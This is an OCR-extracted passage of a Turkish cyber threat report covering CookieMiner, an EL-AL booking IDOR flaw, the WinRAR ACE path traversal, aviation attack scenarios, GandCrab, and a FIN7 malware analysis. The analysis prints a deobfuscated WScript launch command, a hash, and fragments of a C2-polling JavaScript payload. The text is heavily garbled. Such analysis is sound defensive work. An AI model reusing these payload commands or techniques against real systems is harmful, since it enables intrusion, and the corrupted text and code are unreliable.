Palo Alto Networks arastirmacilari tarafindan yayinlanan
raporda, CookieMiner’in girig bilgilerinin, kisa mesajlarin
ve web cerezlerinin bir kombinasyonunu c¢alarak kim-
lik dogrulama slrecini atlatmaya calisti§i belirtiimekte-
dir. Saldirganlarin kimlik dogrulama slrecini atlatmayi
basarmasi durumunda para gcekme islemini gercekles-
tirebilecegi ifade edilmektedir. Bunun kripto para ma-
denciligi yapmaktan daha karli olduguna da dikkat ce-
kilmektedir.

CookieMiner saldirisi, OSX.DarthMiner temel alinarak
gelistirilen bir kabuk betigi (shell script) ile baglamak-
tadir. Bu betik, EmPyre arka kapisi (kriptolojik olarak
glvenli iletisim ve esnek bir mimari Gzerine inga edilmis
bir Python sémiirl sonrasi araci) ile XMRig kripto ma-
denciligini birlestirmektedir. DarthMiner’a benzer sekilde
CookieMiner, istismar sonrasi kontrol igin EmPyre’i kul-
lanarak kurbanlarin makinelerini uzaktan kontrol etmek
amaciyla komutlar géndermektedir.

Arastirmacilar zararlinin kabuk betigi ile ilk basta na-
sil bulastigindan emin olmadiklarini, ancak kurbanlarin
Uclncl taraf bir magazadan koti niyetli bir program in-
dirmis oldugundan siphelendiklerini belirttiler.

Zararll hedef sisteme bir defa indirildikten sonra shell
script, Safari tarayicilarinin gerezlerini bir klasére kopya-
lamakta ve bu klaséril uzak bir sunucuya yiklemektedir.

Arastirmacilar saldirinin kripto para degisimi ile iligkili
Binance, Coinbase, Poloniex, Bittrex, Bitstamp, MyEt-
herWallet ve alan adinda “blockchain” bulunan herhangi
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bir web sitesini de iceren cerezleri hedefledigini belirti-
yor. CookieMiner, cerez toplamak disinda enfekte oldu-
gu sistemde cesitli kétl amagl islevler de gergeklestir-
mektedir:

Tarayiclya kaydedilmis giris bilgilerini ve kredi karti
bilgilerini Google Chrome’un yerel veri depolama ala-
nindan alabilen bir Python scripti (“harmlesslittleco-
de.py”) indirir.

Sistemdeki kripto para clizdanlar igin kullanilan 6zel
anahtarlari ve Mac Uzerinden iTunes’e yedeklenen
iPhone metin mesajlarini ele gegirir.

Bulastigi sistemde kalici olmak ve sistemi yeniden
yapilandirmak amaciyla bir dizi komut igletir. Bu ko-
mutlardan biri, kripto para madenciligi yapabilmek
icin dosya adi “XMRig2” olan bir yazilim ytkler.

XMRig2 dosya adi genellikle Monero madenciliginde
kullaniirken CookieMiner, ZCash tabanl bir kripto para
birimi olan ve genellikle Japonya’da kullanilan Koto ma-
denciligi yapmaktadir. Dosya adi olarak XMRig2 kulla-
nilmasi, zararl yazihmi gelistirenlerin karisiklik yaratmak
amaciyla 6zellikle bu ismi kullandiklarini digindirmek-
tedir.

Arastirmacilar, kripto para sahiplerini ihlal ve sizintila-
r énlemek icin glvenlik ayarlarina ve dijital varliklarina
dikkat etmeleri konusunda uyarmigtir

Ocak ayinin ortalarinda, givenlik arastirmacisi Noam
Rotem israil havayolu EL-Al’e ugus rezervasyonu ya-
parken, sadece PNR (Passenger Name Record) kodu
kullanilarak saldir gerceklestiriimesini mimkdin kilan bir
guvenlik agigi kesfetti.

Guvenlik acidi ¢cikan gevrimici ugcus rezervasyon sistemi,
su anda United Airlines, Lufthansa ve Air Canada dahil
olmak Uzere 141 uluslararasi havayolu sirketi tarafindan
kullanilyor.

EL-AL’de ugus rezervasyonu yaptiktan sonra musteriye
bir PNR kodu ve bu PNR koduyla iligkili bilgileri kontrol
etmesini saglayan essiz bir baglanti adresi verilir. Rotem,
bu baglantidaki “RULE_SOURCE_1_ID” parametresinin
degerini, bagka birinin PNR koduyla degistirerek, o mus-
teriye ait hesaptan kisisel ve rezervasyonla ilgili bilgiler
elde etti. Bu durum saldirganlarin, rezervasyon numarasi
ve misterinin soyadi gibi bilgileri kullanarak kolaylikla
kurbanin EL-AL misteri portalindaki hesabina erigebile-
cegini ve degisiklikler yapabilecegini gésteriyor. Ornegin
saldirgan, kigisel bir hesaba sik ugus milleri talep ede-
bilir, koltuk ve yemek atayabilir, musterinin e-posta ve
telefon numarasi bilgilerini gtincelleyebilir.
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Rotem blog yazisinda, EL-AL portalinin kaba kuvvet sal-
dirllarina karsi korunmadigini ve bu durumun saldirgan-
larin isini oldukga kolaylastirdigini belirterek konuyla ilgili
bir video paylasti. S6z konusu rezervasyon sisteminin
141 havayolu tarafindan kullaniimakta olmasi, gtvenlik
aciginin yuz milyonlarca yolcuyu etkileyebilecegini gos-
teriyor.

Rotem guivenlik acigini tespit ettikten sonra derhal EL-
AL ile iletisime gecti ve kaba kuvvet saldir girisimlerini
o6nlemek icin captcha, parola ve bot koruma mekaniz-
malarinin kullaniimasini énerdi.

EL-AL ise konuyla ilgili olarak gtivenlige en ylksek 6n-
celigi verdiklerini, sistemlerini stirekli izlediklerini ve glin-
cellediklerini belirterek teknik ekiplerinin harekete geg-
tigini ve zafiyeti kapattiklarini ifade etti. Ayrica, sirketin
glvenligini daha da giiclendirmek ve “koti niyetli bir kul-
lanicinin yolcularin kisisel bilgilerine erismesini engelle-
mek” icin bir ‘Kurtarma PTR’ kodu ekledigini de belirtti®.

EL-AL zafiyetinden yaklasik iki hafta sonra ise Avrupali
ucak ureticisi Airbus, “Ticari Ugak” bilgi sistemlerinin ih-
lal edildigini acikladi.

Sirket yapilan saldinyla ilgili ayrintili bilgi vermemekle
birlikte, glvenlik ihlalinin ticari faaliyetlerini etkilemedi-
gini belirtti. Airbus, saldirganlarin Mart 2019 baslarinda
yetkisiz olarak bazi verilere eristigini dogruladi ve Avru-
pa’daki bazi Airbus galisanlarinin gogunlukla profesyo-
nel iletisim ve BT kimlik bilgilerine erisildigini ifade etti.

Yapilan basin agiklamasinda, herhangi bir 6zel verinin
hedeflenip hedeflenmedigini anlamak amaciyla yapilan
arastirmalarin devam ettigi ancak bazi kisisel verilere eri-
sildiginin bilindigini belirtildi.

Guvenlik ihlali tespit edildikten sonra saldiri kaynaginin
kékeninin ve veri ihlali kapsaminin belirlenmesi icin so-
rusturma baslatildi. Sirket, saldirganlar sistemlerinden
uzak tutmak ve mevcut durumda yeterli olmayan gu-
venlik énlemlerini glc¢lendirmek igcin “acil ve uygun ey-
lemler” almaya ve ayni zamanda gerceklesen saldirinin
potansiyel etkilerini hafifletmeye basladi.

Airbus, guvenlik savunmasini glglendirmek adina ¢a-
lisanlarina “ileriye ydnelik tim gerekli 6nlemleri alma”
konusunda talimat verdi. Ayrica, Avrupa Birligi’'nin yeni
GDPR (Genel Veri Koruma Yoénetmeligi) kurallarina uy-
gun olarak, ilgili dizenleyici ve veri koruma makamlariyla
temas halinde oldugunu da belirtti ..

Bircok kisinin bilgisayarina ilk kurdugu, diinyada milyon-
larca kisinin kullandigi WinRAR uygulamasinda yine bir
aciklik bulundu. Hem de bu seferki agiklik tam 19 sene-
dir bilgisayarlarimizi tehdit altinda birakiyormus.
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WiInRAR, oldukca popdler bir dosya sikistirma ve agcma
programidir. Birgok kullanici yeni bir bilgisayar aldigin-
da veya format atilmis bir bilgisayara bu programi kurar
ve .zip, .rar uzantili sikistinlmis dosyalar agmak icin bu
programi kullanir.

Siber glivenlik arastirmacilarinin kesfettigi son aciklik ['%,
.ace uzantili sikistinlmis dosyalari agmak icin kullanilan
unacev2.dll isimli kitliphanede bulunuyor. Arastirmaci-
lara gore, ilgili kitiphanede Absolute Path Traversal(-
CWE-36) ' hatas! tespit edilmistir. Tehdit aktorleri, .ace
uzantili dosyalar .rar uzantisiyla degistirerek son kulla-
nicilan ve unacev2.dll kiitiiphanesindeki hatadan fayda-
lanarak istenmeyen kodlarin calismasini ve sikistiriimis
zararl dosyalari fark edilmeden baska bir klasére agma-
yI hedeflemektedir. Genelde hedefledikleri yol, bilgisayar
oturumu agildiginda programlari otomatik olarak calig-
tiran Startup klasoéridir 2. Zararlinin bilgisayara bulas-
masil igin ise yapllmasi gereken tek sey son kullanicinin
temiz olarak bildigi sikistirilmis dosyayi agmasidir.

WInRAR calisanlar unacev2.dll kitiphanesinin kaynak
kodlarini 2005 yilinda kaybettikleri icin ¢6zUmU bir son-
raki versiyonda .ace uzantil dosyalar i¢in sikistirma ve
acma destegini kaldirmakta buldular!,

Peki, biz son kullanicilar olarak ne gibi 6nlemler almali-
yiz? WinRAR 5.70 strimuinde bu agikhgr giderdiklerini
acikladi. Her ne kadar son kullanici giivenlik Grtinlerinde
gerekli anti-malware imzalarini olusturulsa da, tedbiri el-
den birakmayip WinRAR’I 5.70 strimUlne gincellemek
bilgisayarlarimizi bu tehditten kurtaracaktir.

7.1. Genel Bakis

Sivil Havacihigin en édnemli unsurlarindan biri olan hava
trafik ydnetiminde son yillarda énemli teknolojik bitin-
lesmeler gerceklestiriimis ve ileri teknoloji bilegenleri
olusturulmustur. Yeni Nesil Hava Tasimaciligi Sistemi
(NextGen) ve Tek Avrupa Hava Sahasi - Hava Trafik Y&-
netimi Arastirma Gelistirme (SESAR) gibi uluslararasi gi-
risimlerle havacilik sistemi daha verimli hale getirilmistir.
Gelisen standartlar ve teknolojiler, degisen riskler ve si-
ber tehditleri de beraberinde getirmeye devam etmekte-
dir. Bu yluzden, artan karmasik evrimlesmenin bir sonucu
olarak yeni atak vektdrlerinin iyi analiz edilmesi ve alin-
masi gerekli siber dnlemlerin de bu dogrultuda glincel
olmasi gerekmektedir. Havacilikta tanimlanmis zafiyet
iceren sistemler temel olarak tge ayrilmigtir. Bunlar;

Hava Trafik Yonetimi (ATM),
Hava Tagitlan,

Hava Limanlaridrr.

SIBER TEHDIT DURUM RAPORU
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a5 Attack Vulnerability
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Sekil 14: Sivil havacilikta kullanilan bilesenlere ait zafiyet 5nem
sirasl

Bu analizde temel bilesenlerin analizi ve bu bilesenler
Uzerinden yapilan/yapilabilecek saldirilar, atak senaryo-
lari konulari ele alinmaktadir.

7.2. Siber Sistem Bilesenlerinin Analizi

Sivil havacilikta gecilen yeni modellemenin temel bile-
senleri su sekildedir;

Otomatik Bagimli Gézetim-Yayin (ADS-B): Radar sis-
teminin yerine kullaniimaya baslanmistir. GPS uydu
sinyalleri kullanip hava trafik kontroléri ve pilotlara
daha dogru bilgiler sunarak ugus sirasinda ugagin
glvenliginin saglanmasina yardimci olur. Federal Ha-
vacilik idaresi (FAA), ADS-B uygulamasini ugus sis-
temlerinde zorunlu tutmaktadir.

Sistem Genis Bilgi Yonetimi (SWIM): Modern verile-
rin standartlasmasini ve gtivenligini tek bir altyapi ve
bilgi ydnetim sistemiyle saglamak igin tasarlanmistir.
Bircok kullaniciya ve uygulamaya veri iletimini bu yol-
la saglamay amaglamaktadir.

Yeni nesil havacilik sisteminde yer alan diger 6nem-
li bilesenler: iletisim altyapisi icin NVS, ucak iletisim
adresleme ve raporlama sistemi (ACARS), havadan
carpisma kaginma sistemi (ACAS-X), trafik ve hava
durumu glincellemeleri igin TIS-B ve FIS-B hizmetle-
ridir.

7.3. Siber Saldirilar

Sivil havacilikta dijital teknolojinin etkisi giinden gline
artmaktadir. Havayolu endustrisinin bilgi ve haberlesme
sistemlerine olan bagimhligi arttikga, yeni siber tehdit
erisim noktalari olusmakta ve bu da sistemlerin cékme-
sine, hatta muisterilerin hassas verilerinin ele gecirilmesi-
ne sebebiyet vermektedir.

Havacilik sektdriinde gerceklesen siber saldirilar hem
hedef odakli hem de yaygin saldin olabilmektedir. Sal-
dirganlar uzak erisim kazanarak aviyonik ve kritik hava-
yolu sistemlerinin kontrolini ele gegirebilir, G¢clncu parti
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uygulamalarla sistemlere zararli enjekte ederek aglara
yayilip verileri gifreleyebilir, hatta haberlesmede kesinti-
ler meydana getirebilirler.

Havacilikta gegmiste yasanan saldirilara baktigimizda;

Southwest Airlines 2016 yilinin Temmuz ayinda, veri
merkezindeki tek bir router Uzerinde meydana gelen bir
hata ylziinden yazihm uygulamalarini 12 saat kadar kul-
lanamadi. Yagsanan aksaklik sonucunda havayolu ucak-
larinin ve Gzerindeki sistemlerin test edilmesi ve yeniden
seferlere devam edilebilmesi birka¢c gunt aldi. Bu sU-
recte sirket, 2300 ucusu iptal ederek yaklasik 82 milyon
dolar zarar etti.

Almanya’nin en blylUk havayolu sirketi Lufthansa, 2015’te
bir siber saldinnin kurbani oldu. Hacker’lar musteri giris
bilgilerini desifre etmek icin botnetler kullanarak havayo-
lunun cevrimigi portalina erigtiler. Buradan kullanici he-
saplarina erigen saldirganlar, yolcularin hesaplarinda bi-
riken milleri kullanarak sistem Uzerinden aligveris yaptilar.

Dunya’nin en blyik havayolu sirketlerinden biri olan
British Airways 2018 yilinin Eylll ayinda veri ihlali vaka-
si yasandi. iki haftalik bir siirecte, sirketin web sitesi ve
mobil uygulamalar Uzerinden islem yapan 380 binden
fazla musterinin kigisel bilgileri ve kart bilgileri saldir-
ganlar tarafindan ele gegirildi. Bunun sonucunda sirket,
misterilerinin ugradigi mali zararlarin hepsini telafi etme-
nin yani sira 12 aylik kredi derecelendirme izleme hizmeti
sagladi. Ayrica GDPR kapsaminda 650 milyon dolarlik
bir cezaya carptirildi.

LOT Polish Airlines, 2015 yilinda sirketin bilgisayarlarinin
¢Okmesine ve ugus plani BT sisteminin engellenmesine
sebep olan blylk bir DDoS saldirisi yasadi. Normal is-
lerini yerine getiremeyen havayolu sirketi 10 ugus iptali,
12 ucgus rétart ve 1400 yolcuyu magdur etme durumu
yasadi. Neyse ki, saldir sadece zemindeki uguslara etki
etti ve havadaki uguslarda bir problem yasanmadi.

Investment Priorities

4.1 4.1
3.7 as
3.1

I I I i i i 23
Aeoss Mahwati Inesnal Trusted Boot Imnasion  Digitally Signed  Encryped [ Encryptad
Contrd Deteciion Personng, o Qprational  Detegsion for Sofvwase o Storage for Corpunans of b~ Gegend

Spiems  Processesaad Wnmagrity ireraft Fuienics Faght and Third-Party  Commumications
Training Systems Aring Management  Providers

Sekil 15: Havacilikta yapilan siber saldirilarin atak vektorleri Gze-
rinden dnem sirasi

Havacilia yonelik yukarida bahsedilenlere benzer siber
saldirilara iligkin yUzlerce 6rnek internette bulunabilir.
Bu sebepten ICAO, FAA, IATA gibi sektoriin dizenle-
yici kuruluglar siber riskler icin 6zel dnlemler almakta,
bu konuda siber olgunluk seviyeleri olusturulmasi icin
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calismalar yapmakta, konferanslar dizenlemekte ve ra-
porlar sunmaktadir. Modern havacilik sistem bilesenleri
Uzerindeki atak senaryolarinin ne oldugunu vegelecekte
yasanabilecek farkll saldirilar icin nelere dikkat edilmesi
gerektigini inceleyelim.

7.4. Atak Senaryolan

Sivil havaciliga yonelik glincel saldirilarin tipleri ve hangi
varliklara yéneldigi konusundaki inceleme soyledir:

DDoS Ataklar: Web Servislerine, ag servislerine, hava
trafik yonetim sistemi haberlesmelerine, kablosuz
baglanti Gzerinden yapilan haberlesmelere ve mobil
Uzerinden yapilabilir.

Haberlesme ataklari: Hava trafik yonetim sistemleri-
ne (ATM), haberlesme seyrisefer gézetim (CNS) sis-
temine, GPS’e ve cografi bilgi sitemlerine (GIS) yapi-
lan ataklardir.

Zararl yaziimlar: Ag ve bilgi islem sistemlerine, uzak-
tan kontrol ve godzetleme sistemlerine, yolcu bilgi
islem araglarina ve operasyonel sunuculara enjekte
edilebilir.

AQ saldirilar: ICS SCADA sistemlerine, kapali devre
televizyon sistemlerine (CCTV), bagaj tasima sistemi-
ne yapilabilir.

Yazilim temelli radyolar (SDR) ile yayin frekansi tut-
turularak telsiz erisimi edinilebilir ve ucus sirasinda
ucak ylUksekligi 10.000 ft altinda iken, bu sistem dev-
reye sokularak bagka alana inis (divert) hatta gokyu-
zlinde carpisma (midair collision) meydana gelebilir.

Blended Attack ile yaniltici veya geciken alarmlar
Ureterek kontrol kulesi yaniltilabilir.

NextGen bilesenleri olan trafik ikaz ve carpismayi 6n-
leme sistemi (TCAS), ACARS, ADS-B, NOTAM gibi
zafiyet iceren protokollere ve GPS, GBAS, SBAS ve
VSAT gibi sinyallere yonelik saldirilar yapilabilir.

Bu kisimda STM Siber Flizyon Merkezimizdeki analist-
lerinin gerceklestirdigi farkli zararll yazihmlarin davranis
analizlerinin sonuclari anlatiimaktadir.

GandCrab zararli yaziimi diinya genelinde birgcok kurum,
kurulus ve sirkete gesitli yollarla bulasmis ileri seviye bir
zararl yazihmdir. Bu zararli yazilimin gelistiricileri zararl
yazihmla ayni adi kullanmaktadir. Exploit kiti de sattigi
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bilinen grubun iligkili oldugu birden fazla tehdit grubu
bulunmaktadir.

FalloutEK isimli Exploit Kit’in de sahibi oldugu degerlen-
dirilen GandCrab; fidyecilik konusunu baska bir boyu-
ta tasiyarak “Ransomware As a Service (RaaS)” olarak
Kraken Crytor ile hizmet vermektedir. STM Siber Flizyon
Merkezimiz, Fallout’'un popdlerliginin artmaya devam
edecegi ve daha fazla tehdit aktoriiniin RaaS’1 kullana-
bilecegini dngdérmektedir.

Yakin zamanda yeni versiyonlari gikan Gandcrab fidyeci-
lik zararli yazilimi, STM Siber Fiizyon Merkezi tarafindan
detayl olarak incelemeye alinmis ve yaklasik 100 adet
zararl yazihm 6rnegi detayli bir sekilde incelenmistir.

GandCrab’a ait zararll dosya 6rnekleri incelendiginde,
gesitli yayllma yontemleri kullanildigi gérilmistir. Bu ya-
yilma yéntemleri istenmeyen e-postalar (spam) ve Exp-
loit kitler araciligiyla gerceklestiriimektedir.

GandCrab’e ait ilk sUrimlerin RIG ve GrandSoft Explo-
it kitleri ile spam e-postalar araciligiyla dagitilmak icin
kullanildigi gérilmustir. ilgili spam e-postalar icinde ek
olarak yerlestirilmis zip uzantill dosya yer almakta ve ge-
nellikle zip icinde bulunan Javascript dosyasi ¢alistirila-
rak GandCrab zararlisina ait payload dosyasinin indiril-
mesiyle sisteme bulastigi tespit edilmistir.

=]

8 Chat 2 Address Book | - =

4y Reply @y ReplyAll |~ =p Forward
-rom Hung Lewis <Hung18@6301.com>
bject Order #59909

More v

4/3/2018, 3:06 PM

Toe [removed] <>
Dear Cuslumer,

to read your document please open the attachment and reply as
soon as possible.

Kind regards,

AEE Customer Support

v ﬂj 1 attachment: DOC2182929709.zip 20.8 KE

= DOC2182929709.7ip 20.8 KE |
L]

Sekil 16: Ek olarak gonderilen zararli igerik

Sekil 17°de, ilk versiyonlara ait 6rneklerin Javascript dos-
yalar araciligiyla hedef sisteme indirildigi gortimektedir.

Yaylma mekanizmalari incelendiginde GandCrab’in;
Javascript Dropper, MSOffice Dropper ve ilgili dropper
dosyalarina ait salgini gergeklestirmek igcin Exploit Kit
kullanildigi tespit edilmigtir.

GandCrab, calismaya basladi§i andan itibaren bulastig
makine Uzerindeki dosyalar sifrelemektedir. Zararli, ayni

SIBER TEHDIT DURUM RAPORU
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Sekil 17: Yeni versiyon javascript kodu ile gagrnimaktadir

zamanda enfekte makineye ait masalsti arka planini
fidye mesajiyla degistirmekte ve sifrelenen klasoérlerin
icinde fidye 6demesine dair detaylarin yer aldigi html
sayfasi olusturmaktadir.

Sekil 18’de yer alan html igerik, kurbana bitin dosyala-
nnin sifrelendigini bildirmektedir.

Sekil 18: Fidye 6demesine ait html icerik

HTML dosyasi sifrelenen her dizinin icine kopyalanmakta-
dir. Kurban Sekil 19'da yer alan igerik ile karsilagsmaktadir.

Sekil 19: Fidye 6demesi talep ara yizil

FIN7, ilk olarak 2013 yilinda baslattigi saldirlarla giin-
deme gelen, 2016 yilinin sonuna dogru birgok siber sug
orgutlyle iligkisi tespit edilen bir siber su¢ érguttddr.
FIN7’yi diger saldirgan gruplardan ayiran 6zellik grubun
basit bir siber su¢ 6rgitd veya bir APT grubu olmama-
sidir. Aslinda uzun bir stire FIN7’nin siber su¢c grubu
Carbanak ile ayni 6rgiit olup olmadigi konusunda da bir
belirsizlik yaganmistir.

SIBER TEHDIT DURUM RAPORU
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Arastirmacilar, FIN7 ve Kobalt ¢etesinin taktikleri ara-
sindaki guclu benzerliklere dikkat ¢cekmis, incelemeler
sonucunda ise gruplarin bir ve ayni oldugu ya da belirli
zamanlarda belirli bir kapasitede birlikte ¢alistiklarini be-
lirtmislerdir.

Sekil 20: Fin7 saldirilarinin cografi dagilimi

FIN7 finansal kimlik bilgileri ve finansla ilgili batin bilgile-
ri elde etmek igin faaliyet yUritmektedir. Grubun yaptigi
saldirilarla adini ilk duyurdugu sektorler ise bankacilik,
perakende ve konaklama sektérleridir. Grubun saldiri-
larda kullandidi yéntemler ve saldiri vektérlerine asagida
yer verilmigtir.

Ulkelere ve kurumlara ézel hazirlanmis kimlik avi
e-postalari ve dokiimanlari,

DOCX ve RTF belgelerine gdmulmus zararli icerikler,

PowerShell komutlarinin ve Microsoft Dinamik Veri
Degisiminin (DDE) kullanimi,

Perakende magazalarindaki POS sistemlerine sizma.

Yukarida anilan yéntemler grubun finansal odakli oldugu
kanisini guglendirmektedir. Grup 3600°den fazla sirket-
ten 15.000’den fazla kredi karti bilgisi ¢calmistir. Bilinen
hedefler arasinda Red Robin, Chili’s, Arby’s, Burgerville,
Omni Hotels, Fifth Avenue gibi isletmeler yer almakta-
dir. ABD Adalet Bakanlidi su ana kadar Ukrayna asill U¢
kisiyi FIN7 Uyesi olduklar gerekgesiyle tutuklamistir. Bu
isimler; Dmytro Fedorov (44), Fedir Hladyr (33) ve Andirii
Kopakov (30) olarak kamuoyuna yansimistir ['3l,

Grubun gerceklestirdigi bitin saldirnlarda baslangic
vektori olarak “Oltalama Saldirisi” yontemini kullandigi
gorulmustar. Bu da saldirilarda kilit roltin son kullanicilar-
da, yani insanlarda oldugunu gdsteriyor. Grubun sadece
ABD ve cevresindeki kurumlara yaptigi ataklardan elde
ettigi finansal veriler ve ele gecirdigi paralarin maddi de-
gerinin milyonlarca dolar oldugu tespit edilmistir.

FIN7’nin bugiine kadar hedef aldigi kurum/kurulus ve
sirketler incelediginde ise,

Restoranlar,
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Yardim Kuruluglari,

Bahis ve Kumar Siteleri,
Enerji Sektora,

Finans Sektor(,

Yazilim Sektoérd,

Seyahat Sektérd,

Egitim Sektord,

Haberlesme Sektord,

Kamu Kurumlari,
Danismanlik sektdriine yonelik saldirlar ve kampan-
yalar yaptigi gézlemlenmistir.

FIN7 yapti@ saldirlarda gizlenme yontemlerini gelistir-
mistir. Ornek olarak 2017’nin Nisan ayinda kurbanlarin
cihazlarina bulasabilmek igcin LNK dosyalarini ve VBSc-
riptlerini kullanarak mshta.exe isimli dosyay! ¢aligtirmig-
tir. Bunu Office dokiimanlarinin makro galistirma 6zelligi-
ni kullanarak yapmistir.

Yapilan arastirmalarda “FIN7’nin” “CARBANAK back-
door” denilen sémiri sonrasi (post-exploitation) aracini
kullanarak kurbanin agina istedigi gibi girebildigi g&rul-
mustar.

9.1. Teknik inceleme

Mshta.exe isimli dosyaya ait SHA-256 hash bilgisi asa-
gidaki gibidir:

No Ozet Degeri (SHA-256)

1 63FF5D9C9B33512F0D9F8D153C02065C637B7DA-
48D2C0B6F7114DEAEGFE6D88AA

Tablo 1: Dosyaya ait hash bilgileri

incelenen dokiimanin VirusTotal uygulamasi Uzerinde
yer alan bilgilerine Sekil 21°de yer verilmistir.

! ; 29 enpnes detected this file o
e i
o

1
o EERERPRERRDR
5
f
4

ppre
[ o0

i I

§
g0 EEREBPEREREREREDRDR

1
o0 0

Sekil 21: Zararlinin VirusTotal sonuglan
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Kurbana e-posta eki olarak gdnderilen dosya acildid
zaman asagidaki Microsoft Word dokiimani ile karsila-
sllmaktadir. Makro kodlarinin ¢alismasina izin verildikten
sonra zararl aktiviteler baglamaktadir.

Sekil 22: Aclilis ekrani — Makro ¢alistinimadan énce

Makrolar aktive edildikten sonra Sekil 23'te yer alan
“Decryption Error” icerikli bir ekran kullanicinin karsi-
sina ¢gikmaktadir.

= T REHIE o | nterene AaBbd AalBC AaBB( asthcct P -'"‘_

A EEam 3 oL Pl |7 - dome L et 5
\ L]

Docus‘%w_

THIS STEMS ARE RECUIRED TO FULLY DECRYPT THE DOCUMENT,
ENCAYPTED BY DOTUSIGH

o St T vouey” o et T wcseet om i — 1

0 e

P e

TP p————— P |
v
4
—— -

| T B R

[EEE— =

Sekil 23: Acilis Ekrani — Makro calistinidiktan sonra

Dosya icindeki makro kodlari asagidaki gibi ¢ikartiimak-
tadr.

B CAWindowd\ rystem3Thcmd,axe
i

2CANGF?1 1 ADFARL PG DRAA

Sekil 24: Makro kodlarinin gikariimasi
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llgili kodlara karmasiklastirma (obfuscation) islemi uygulan-  lgili zararli, C:\Users\Contacts dizini altinda oce.exe ve
dig1 gérilmektedir. Karmasiklastinimig (Obfuscated) kodlar,  elog.tmp dosyasi olusturmaktadir. Iki dosya tizerinde ya-
kod parcasinin en son kisminda “akigfass” ve “xwokif” de-  pilan incelemelerde “oce.exe” isimli dosyanin Microsoft

giskenlerine atanarak Shell komutu ile ¢alistinimaktadir. standart uygulamasi olan WScript oldugu, “elog.tmp”
dosyasinin ise zararliya ait esas payload dosyasi oldugu
- tespit edilmigtir.
C:\Users\Contacts dizininde olusan dosyalar asagidaki
gibidir.
@-@?| B » Contacts - | v-pl | Search Comtacis 0 [
Organize « Include in library = 3 =~ 0 @
r Favorites desktop.ini
Confiquration settings
x DEEk‘tDp _if;bllj_t:; 12N Serting
4. Downloads )
elog.tmp
il Recent Places TMP File
494 KB
3 Libraries
<| Documents ﬁé _.contact
—, Music

k| Pictures 5 orear
o [-]:-.- e F " crl car Serint
E i Vicrosoft & Console Based Script...
E k£ Microsoft Corporation

Sekil 27: Dokiiman calistiktan sonra olusturulan dosyalar

Sekil 25: Obfuscate edilmis VBS kodlari

Kodu dogrudan calistirmak yerine kodun nasil calistigi-

nin anlagiimasi icin “Echo” ile ekrana yazdinlmistir. L
Esas payload dosyasi calistirildiktan sonra kendisini sil-

e mektedir.
= || B E2
@@v :«- Contacts - |v,|| Search Contacts ol
- Organize v Include in library + Share with +  » B v ] 0
e = —— seopi
B Desktop fation settings
4§ Downloads
=i Recent Places |
‘z&fg _.contact
'. =1 - Libraries " OCE.EXE e .
=| Documents * Microsoft sole Based Script...
. Mie kY Microsoft Corporation
Sekil 26: Kodlarin agiimasi i Pictures
B videos
Ulasilan kod parcasinin da deobfuscate edildigi goril- & Homegroup
mektedir. Analizin bu kisminda deobfuscate edilmis de- g caWindows\system32\emd.exe - ace.exe /b /ejscript elogitmp =
giskenlerin igerigini gdérmek adina vbs kodlarinin debug  Comtacted . E
Ontacts ’sO0CeE .exXe e-JsSCcrilp elog.tmp =

edilmesi uygun goérulmustar.

Yukaridaki gorselde isaretlenmis “akigfass” ve “xwokif”
degiskenleri incelendiginde “akigfass & xwokif” ifade-
siyle iki degiskenin iginde yer alan veri birlestirilerek bir
sistem komutu olusturulmaktadir. Ardindan bu komut
calistinimaktadir. iki degiskenin birlestirilmesiyle olusan
kod parcasi asagidaki gibidir:

C:\Users\User\Contacts\oce.exe // b /e:jscript

Sekil 28: Zararli javascript payload’unun kontrolli olarak
C:\Users\User\Contacts\elog.tmp calistinimasi
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Sekil 29’da yer alan “elog.tmp” dosyasinin icerigine ba-
kildiginda; kod iginde kullanilan fonksiyon ve stringlerin
parca parca ayrilarak basit bir obfuscation yapildigi g6-
ralmustar.

Sekil 29: Elog.tmp dosyasinin icerigi

Payload dosyasina ait bellek dékimui incelendiginde
kodlarin acgik hali rahatlikla gérilmektedir.

£ Redien (5 Optior | ) Fred handies o Bls o+ Symem informatien | =) ) B
Frocases | Saracns | et | ek
Plarme

= System ke Proceis

M0 CPU VDictsl Priwete b Uner name: Description
0 BETS o,
m amem i
B LuEs G
B
a8

108

M
5% 0 BV
a% s ws nEm
b2 oame
2080 4TI ME e
n% oame| P Priwe

7
5{ & Rewhts - oot B9 =2

¥ powershellese: nn )

1 mpsre e HH 4 ST,
» () veosdtmz. 5a oA | (-
50
[y
s
DuBriolH
i
[Ty
[
DaDeiide
i
[y
D2l Ted
e
[
DoRsT
a2
[
i
tathela
e
[
w2412

[

e a-ea fochoiyp 58 maC g ¥
echohog 8 s st gt « 1) s, fentime = pochifeery
AR (v = 0 <l hensrame et 44 [ fest

:Exx:us.ﬂ,l

e

o yphonkeylh S e yoton iy gt
(g, SamCrar Code{har e e RSP = AARE
el b wmn chepidrmla] el e m et s
I smcrgaten, e oty remat g = crcod

Codeitilasat

smperarthenis gl et ek sereg|rcton got rat
e pathes o [vricizenn, ramatie, egnati i, st

Fier Save... Sag

Sekil 30: Calisan zararll payload’un bellek Gzerinden
gorintilenmesi

Bellek dékimuinden elde edilen kod pargasi diizenlendi-
ginde kodlar rahatlikla okunabilir hale gelmektedir.
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var iluxehilp = "r
var gteguikilnoty =

wvar tj 1pe:
war upixlopug =
lwan

var ediw: hy = "
war upsukobeyexag =
Ll

war iramadxyz =
Var kenpylpatfy

var ojriceknaxyec -
var igpeddurviggy =

var ahyfbespan = "sLr

var egxudmifbanigt = "
wvar ihojweplimytr = "";
var sorweqooxtykda =
war IJ'T}FH'\"T!Y'.'JF ="
wvar rtywderumme =
war ctofokpugt = "
var amfacnexnuzli

VAT DCAW oot
var yxdigwugzosselk = "group=icoért=Désecret=fohedf43dsSFvmiletime=1200006uid=";

Sekil 31: Bellekten alinan kodlarin genis hali

Analizin bundan sonrasinda elde edilen kod parcasina
ait fonksiyon parcalari detayl olarak incelenecektir.

9.1.1. Main Fonksiyonu

Main fonksiyonunda zararli komuta kontrol sunucusuna
yaklasik iki dakikalik periyotlarla bir HTTP POST istegin-
de bulunularak islenecek komut istenmektedir ve aldig
komutu calistirmaktadir. E§er sunucuyla iletisim basaril
bir sekilde saglandiysa gelen cevap “send_data” fonk-
siyonundan sifreli bir sekilde elde edilmekte ve “ncom-
mand” degiskeninin icinde tutulmaktadir. Sunucuyla
baglanti kurulamadigr durumda ise “ncommand” degis-
keninin degeri “no” olmaktadir ve zararli yazihm yaklasik
iki dakika sonraki denemesine kadar inaktif olarak kal-
maktadir.

[Ffunotion main() {
var nesmmand = 7

ncommand = send_dacva("reque . true);
